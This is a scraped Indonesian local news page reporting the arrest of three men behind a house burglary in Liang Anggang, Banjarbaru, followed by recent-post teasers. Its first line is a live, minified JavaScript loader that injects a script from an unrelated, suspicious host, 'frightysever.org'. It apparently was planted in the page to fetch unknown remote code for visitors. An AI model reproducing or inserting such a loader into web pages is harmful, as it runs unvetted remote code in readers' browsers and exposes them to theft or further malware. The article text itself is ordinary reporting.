(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
kriminal banjarbaru

Kawanan Pembobol Rumah Beraksi di Liang Anggang Dibekuk di Batola


KANALKALIMANTAN.COM, BANJARBARU – Unit Opsnal Reskrim (Macan Barbar) Polsek Liang Anggang berhasil mengungkap kasus pembobolan rumah di Jalan Golf Komplek Pondok Blok C Nomor 2 RT 07 RW 04, Kelurahan Landasan Ulin Utara, Kecamatan Liang Anggang, Kota Banjarbaru pada Minggu (14/8/2022) pukul 04.00 Wita.

Kapolsek Liang Anggang, AKP Yuda Kumoro Pardede melalui Kasi Humas Polsek Liang Anggang Aipda Kardi Gunadi membeberkan kronologi kejadian tersebut.

Kejadian diketahui ketika korban bangun tidur kaget ketika melihat isi dompet yang didalamnya berupa STNK roda dua Yamaha Mio Soul GT dan uang Rp 1,2 juta beserta unitnya tidak ada lagi alias lenyap.

“Merasa dirugikan dengan total Rp 7,2 juta, korban melaporkan kejadian tersebut ke Polsek Liang Anggang,” ujarnya, Kamis (25/8/2022) siang.

 

 

Baca juga: Penadah Motor Hasil Rampasan Dua Oknum Polisi Ditangkap, Omen Ikut ke Penjara

Kemudian Macan Barbar yang dipimpin Katim Aiptu Deden A Lesmana menindaklanjuti laporan tersebut dengan mengumpulkan informasi dan penyelidikan.

“Dari informasi yang diperoleh, berhasil diketahui bahwa pelaku diamankan di Polres Batola dengan perkara yang sama,” sebutnya.

Pelaku berjumlah 3 orang berinisial S (32) alias Dobleh, FM (43) alias Imus dan D (40) alias Arman, ketiga diamankan di Polres Batola dalam perkara bongkar rumah di wilayah hukum Polres Batola.

“Kita melakukan koordinasi dengan Polres Batola untuk melakukan interogasi terhadap pelaku dan didapat informasi pernah melakukan aksinya sekali di wilayah hukum Polsek Liang Anggang,” bebernya.

Saat dilakukan interogasi pelaku membeberkan melakukan aksinya menggunakan alat berupa tiga buah linggis kecil, seperti alat congkel ban motor, sebilah obeng bergagang warna biru dan sebuah pisau dapur gagang dan sarung terbuat dari plastik berwarna hijau.

“Saat ini ketiganya sedang menjalani proses hukum di Polres Batola dengan perkara pasal 363 KUHP,” pungkasnya. (Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Risa

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.